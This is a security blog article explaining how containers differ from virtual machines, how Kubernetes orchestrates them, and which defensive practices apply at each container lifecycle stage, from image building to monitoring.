<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 style="text-align: justify;"><span data-contrast="none">Virtual machine, container: what&#8217;s the difference?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p style="text-align: justify;"><span data-contrast="auto">But why choose a container? To understand this, we first need to look at the difference between a virtual machine and a container.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">The main difference between a VM (Virtual Machine) and a container lies in the elements included in the virtualized space. A container contains only the applications and dependencies required to run it, whereas a VM will contain an operating system on which one or more applications will be installed. As a container has no operating system of its own, it relies on the one of the hosts on which it runs on. This distinction makes for greater lightness and complexity.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"><img loading="lazy" decoding="async" class="aligncenter wp-image-22196 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01-1.png" alt="" width="605" height="303" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01-1.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01-1-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/01-1-71x36.png 71w" sizes="auto, (max-width: 605px) 100vw, 605px" /></span></p>
<h2 style="text-align: justify;"><span data-contrast="none">So why use containers at all? </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Containers were not developed to </span><b><span data-contrast="auto">enhance security, but rather for infrastructure purposes</span></b><span data-contrast="auto">. The main advantages are:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">&#8211; </span><b><span data-contrast="auto">Consistency</span></b><span data-contrast="auto">: containers can be launched on any machine and will operate in the same way.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">&#8211; </span><b><span data-contrast="auto">Economy</span></b><span data-contrast="auto">: containers are faster and require fewer resources than VMs, so they cost less.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">&#8211; </span><b><span data-contrast="auto">Automation</span></b><span data-contrast="auto">: it&#8217;s much easier to automate the deployment of a container than the creation of a virtual machine (Cloud technologies have come a long way in this respect).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">These three advantages, combined with the popularization of the DevOps approach within companies, have led to an explosion in the use of containers. Without being side-lined, security has not been an objective in the design of containers. As a result, good security practices have been put in place as the technology has been developed and used.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h2 style="text-align: justify;" aria-level="1"><span data-contrast="none">Execution models</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span><span data-contrast="auto">The advantages of containers are linked to a specific mode of operation based on very specific execution kinematics. Let&#8217;s take a look at container execution models.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">A container can be </span><b><span data-contrast="auto">run on an on-premise or cloud-hosted machine</span></b><span data-contrast="auto">. As explained above, a container contains only an application and its dependencies. It has no operating system, and thus relies on the host&#8217;s functionality. Consequently, a container requiring Linux functionality will need to run on a machine with a Linux operating system. Conversely, a container requiring Windows functionality will run on a Windows machine. However, virtualisation processes, such as Hyper-V for Windows, make it possible to overcome these constraints.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">To run a container on a machine, you simply need to install container management software (a container runtime). Among container platforms, Docker, lxd and Containerd are the most widely used.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span><span data-contrast="auto">This makes it easy to run a single container on a machine. However, companies often have a large number of applications. The problem then arises of managing and scaling the containers to be deployed. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">This is where </span><b><span data-contrast="auto">container orchestrators</span></b><span data-contrast="auto"> come in. An orchestrator makes it easy to manage the deployment, monitoring, lifecycle, scaling and networking of containers. These orchestrators can be configured on </span><b><span data-contrast="auto">on-premise machines or through services made available by Cloud providers</span></b><span data-contrast="auto">. In the latter case, they are easy to set up and configure, as they are managed by the Cloud provider. The most widely used orchestrator technology in companies is Kubernetes. There are also a number of products based on it, such as OpenShift. Other alternatives, such as Docker Swarn, also enable orchestration. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span><span data-contrast="auto">In some cases, there may be a need to manage and scale containers, all without managing the infrastructure. For this purpose</span><b><span data-contrast="auto">, Cloud providers have made available services that enable containers to be run in a managed way</span></b><span data-contrast="auto">. All the user has to do is specify a few configuration points. This type of service is called CaaS (Container as a Service).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">The following infographic summarizes the execution models and the names of the technologies or services: </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto"><img loading="lazy" decoding="async" class="aligncenter wp-image-22198 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02-1.png" alt="" width="605" height="254" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02-1.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02-1-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/02-1-71x30.png 71w" sizes="auto, (max-width: 605px) 100vw, 605px" /> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">This wide variety of deployment modes means that the container can be adapted to suit business needs. It&#8217;s important to remember that the </span><b><span data-contrast="auto">security of a container at runtime also depends on the security of its infrastructure.</span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 style="text-align: justify;" aria-level="1"><span data-contrast="none">Focus on the </span><i><span data-contrast="none">Kubernetes</span></i><span data-contrast="none"> orchestrator </span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:259}"> </span></h1>
<p style="text-align: justify;"><span data-contrast="auto">As previously stated, Kubernetes and products based on this technology for orchestration are the most widespread. Kubernetes will be used to illustrate how an orchestrator works. To put it simply, let&#8217;s take the analogy of a container port.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"><img loading="lazy" decoding="async" class="aligncenter wp-image-22200 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03-1.png" alt="" width="605" height="419" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03-1.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03-1-276x191.png 276w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/03-1-56x39.png 56w" sizes="auto, (max-width: 605px) 100vw, 605px" /></span></p>
<p> </p>
<p style="text-align: justify;"><span data-contrast="auto">Let&#8217;s start with the </span><b><span data-contrast="auto">worker nodes</span></b><span data-contrast="auto">. These will be our </span><b><span data-contrast="auto">container ships</span></b><span data-contrast="auto">. Their role is to carry the load, i.e., to execute the orchestrator&#8217;s containers.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Kubernetes then introduces the concept of </span><b><span data-contrast="auto">pods</span></b><span data-contrast="auto">. A </span><b><span data-contrast="auto">pod will be the containers</span></b><span data-contrast="auto"> on the ships. A </span><b><span data-contrast="auto">pod is generally made up of a single container</span></b><span data-contrast="auto">. It is this component that runs the application to be deployed.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Next, we have the </span><b><span data-contrast="auto">control plane, made up of master nodes</span></b><span data-contrast="auto">. These are represented by the </span><b><span data-contrast="auto">cranes</span></b><span data-contrast="auto"> that dispatch the containers from one boat to another, according to the load each boat can accommodate. In Kubernetes technical terms, the master node will decide on which worker node(s) to execute pods. The </span><b><span data-contrast="auto">master node is the cluster&#8217;s central point</span></b><span data-contrast="auto">. It contains all the cluster&#8217;s intelligence. It&#8217;s also with this node that we interact to administer the cluster, and it&#8217;s with this node that the worker nodes interact to know what actions to perform according to the pods they&#8217;re executing (create new ones, destroy them&#8230;).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Finally, there&#8217;s a </span><b><span data-contrast="auto">load balancer</span></b><span data-contrast="auto">, represented in this analogy by the trucks carrying the containers. The load balancer distributes the load of incoming flows between pods. For example, if three pods are hosting the same application, the load balancer will distribute requests between the 3 pods, so as not to overload any one of them. The load balancer is the interface between the cluster and the outside world, just as trucks are the link to the outside of the port.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Here is a more traditional technical diagram showing the various components:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-22202 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-1.png" alt="" width="1481" height="904" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-1.png 1481w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-1-313x191.png 313w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-1-64x39.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/04-1-768x469.png 768w" sizes="auto, (max-width: 1481px) 100vw, 1481px" /></p>
<p> </p>
<p style="text-align: justify;"><span data-contrast="auto">The following resource from the Kubernetes documentation describes the set of components.<a href="#_ftn2" name="_ftnref1">[2]</a></span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 style="text-align: justify;"><span data-contrast="none">How can we secure containers at every stage of their lifecycle?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p style="text-align: justify;"><span data-contrast="auto">Now that we&#8217;ve covered the basics, let&#8217;s take a look at how to secure it all. Security must be applied to every stage of a container&#8217;s lifecycle. Indeed, each stage presents its own challenges and associated security impacts.  </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-22204 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-1.png" alt="" width="590" height="310" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-1.png 590w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-1-364x191.png 364w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/05-1-71x37.png 71w" sizes="auto, (max-width: 590px) 100vw, 590px" /></p>
<p> </p>
<h2 style="text-align: justify;"><span data-contrast="none">The image is first built</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">The first step in the container lifecycle is to </span><b><span data-contrast="auto">choose a base image</span></b><span data-contrast="auto">. A container image is a set of lightweight software and files that includes everything needed to run an application: code, runtime, system tools, system libraries and parameters. In most cases, this image is retrieved from the Internet. There is therefore a risk of using an image from an unknown source that has already been compromised (with a backdoor, for example). </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">So, in this first stage, it&#8217;s vital to choose the source of your image carefully, to ensure that you take a &#8220;trusted image&#8221;. This can be achieved by using reference sources such as Docker Hub, or by creating your own image catalogue. In the latter case, the images are verified and validated upstream by the company&#8217;s security teams and are known as &#8220;golden images&#8221;.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">The second step is to </span><b><span data-contrast="auto">install an application on the image</span></b><span data-contrast="auto">. There is therefore a classic risk of a vulnerability in the application code. Vulnerability scans, developer awareness and adherence to good development practices are essential here to prevent a vulnerability from creeping into the application code. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">The third step is </span><b><span data-contrast="auto">image configuration</span></b><span data-contrast="auto">. These are default configurations applied when containers are deployed. For example, a </span><b><span data-contrast="auto">container is run</span></b><span data-contrast="auto"> with the </span><b><span data-contrast="auto">root</span></b><span data-contrast="auto"> (or system administrator) account </span><b><span data-contrast="auto">by default</span></b><span data-contrast="auto">: leaving this </span><b><span data-contrast="auto">configuration unchanged represents a risk </span></b><span data-contrast="auto">should the container be compromised. Furthermore, setting the container&#8217;s </span><b><span data-contrast="auto">file system</span></b><span data-contrast="auto"> to </span><b><span data-contrast="auto">read-only</span></b><span data-contrast="auto"> also limits the impact of a compromise. Indeed, with these two configurations, an attacker will have less free rein for his actions.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h2 style="text-align: justify;"><span data-contrast="none">The image is then stored in a container repository</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Once the image has been built, it needs to be stored so that it can be accessed and deployed as many times as required. To do this, we use a container repository, which also needs to be secured. Indeed, if an attacker pushes a corrupted image into the container repository, it can be deployed in production.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Several security measures can be implemented to secure the container repository:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul style="text-align: justify;">
<li data-leveltext="-" data-font="Calibri" data-listid="8" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1"><b><span data-contrast="auto">Restrict user or resource rights and permissions</span></b><span data-contrast="auto"> on the repository to reduce risk: only people or resources who need to &#8220;push&#8221; or &#8220;pull&#8221; an image from the repository should be entitled to do so. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="8" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1"><b><span data-contrast="auto">Restrict network exposure.</span></b><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="8" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1"><b><span data-contrast="auto">Scan images</span></b><span data-contrast="auto"> before they are deposited, at the time of push. This action limits the presence of compromised images on the container repository.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="8" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1"><b><span data-contrast="auto">Sign pushed images</span></b><span data-contrast="auto"> to ensure their integrity. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="-" data-font="Calibri" data-listid="8" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1"><b><span data-contrast="auto">Keep a record of actions</span></b><span data-contrast="auto"> carried out on the container repository.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h2 style="text-align: justify;"><span data-contrast="none">This is followed by the image deployment phase</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Once the image has been built and stored, it needs to be deployed to make it accessible. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><b><span data-contrast="auto">When a container is deployed, configurations are determined according to use cases.</span></b><span data-contrast="auto"> Some configurations reduce the existing logical isolation between containers and the host. For example, you can authorize a container to list the host&#8217;s processes or share the same network card. Privileged configuration can even break down these isolation barriers, giving containers access to all host functions. </span><b><span data-contrast="auto">These configurations, some of which are dangerous, can lead to container escapes</span></b><span data-contrast="auto">: i.e., an attacker on a container can use these privileges to escape to the operating system. Once on the operating system, an attacker can obtain information from host files or initiate lateral moves. In other words, it&#8217;s one step further into the information system.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">In terms of deployment recommendations, the first step is to restrict container repositories to a known and trusted list. Subsequently, configurations such as AppArmor, Seccomp or the deactivation of Linux capabilities can be used to restrict system calls and resources used by containers. Finally, the container file system should be configured as read-only, and the principle of least privilege applied to configurations passed to containers. In other words, it&#8217;s </span><b><span data-contrast="auto">necessary to limit the use of privileged configuration or the breaking of certain isolations</span></b><span data-contrast="auto"> (process, network, etc.).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p> </p>
<h2 style="text-align: justify;"><span data-contrast="none">Finally, the container is executed</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">When it comes to execution, we&#8217;re going to focus on the methods favoured by enterprises. That is, orchestrators, often with Kubernetes, or container hosting services in the cloud, known as CaaS. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">In the case of Kubernetes orchestration, the first objective will be to </span><b><span data-contrast="auto">verify the conformity of container deployments</span></b><span data-contrast="auto">, in order to avoid the deployment of privileged dangerous containers. These may be the result of an attack or simply administrative errors. Depending on the platform, this may involve </span><i><span data-contrast="auto">PodSecurityAdmission</span></i><span data-contrast="auto">, </span><i><span data-contrast="auto">SecurityContextConstraint</span></i><span data-contrast="auto"> or external tools such as OPA </span><i><span data-contrast="auto">Gatekeeper</span></i><span data-contrast="auto">. </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">It is also recommended to </span><b><span data-contrast="auto">restrict network flows</span></b><span data-contrast="auto"> within the cluster, between containers, and out of the cluster to restrict lateral movements. This restriction can be applied with </span><i><span data-contrast="auto">NetworkPolicy</span></i><span data-contrast="auto"> or again with external micro-segmentation tools. Finally, it will be necessary to </span><b><span data-contrast="auto">have fine-grained role and user management</span></b><span data-contrast="auto">, and to apply sufficient hardening to the virtual machines serving as nodes.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">In the case of CaaS, the infrastructure is managed by the cloud provider. As a user, hardening can only be achieved by enabling or disabling certain options. An analysis of each solution will be necessary to define precise recommendations, as Azure, Google Cloud Platform and Amazon Web Services all offer different options.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h2 style="text-align: justify;"><span data-contrast="none">Eventually, monitor all stages</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h2>
<p style="text-align: justify;"><span data-contrast="auto">Container monitoring is important for debugging purposes and for recovering evidence in the event of an incident. Unfortunately, unlike a virtual machine, a </span><b><span data-contrast="auto">container is ephemeral</span></b><span data-contrast="auto">. So are its logs&#8230; So how do you go about it?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">Monitoring can be carried out at three levels:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ul style="text-align: justify;">
<li data-leveltext="" data-font="Symbol" data-listid="10" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="1" data-aria-level="1"><span data-contrast="auto">At container level, by outsourcing logs (to combat the ephemeral nature of containers and their logs)</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="10" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1"><span data-contrast="auto">at container workload level</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li data-leveltext="" data-font="Symbol" data-listid="10" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559684&quot;:-2,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="3" data-aria-level="1"><span data-contrast="auto">Infrastructure level (cluster nodes, for example)</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ul>
<p style="text-align: justify;"><span data-contrast="auto">This collected logging can be managed by dedicated SOC Cloud teams or centralized in the company’s SIEM. </span><b><span data-contrast="auto">Detection scenarios can then be created</span></b><span data-contrast="auto"> to detect IAM modifications, abnormal resource consumption and so on.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">It’s worth mentioning that CaaS solutions and Kubernetes managed by a Cloud provider (AKS, EKS, GKE, &#8230;) make it easy to centralize and externalize these logs.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto">This section covered the best practices to be followed and the risks associated with each stage in a container’s life cycle. The diagram below provides a summary:</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p style="text-align: justify;"><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> <img loading="lazy" decoding="async" class="aligncenter wp-image-22206 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06-1.png" alt="" width="605" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06-1.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06-1-312x191.png 312w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/01/06-1-64x39.png 64w" sizes="auto, (max-width: 605px) 100vw, 605px" /></span></p>
<p style="text-align: justify;"><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<h1 style="text-align: justify;"><span data-contrast="none">CWPP, the solution to our problems?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></h1>
<p style="text-align: justify;"><b><span data-contrast="auto">CWPP, Cloud Workload Protection Platform</span></b><span data-contrast="auto">, is a new tool we’re hearing a lot about at the moment. But what does it do?</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
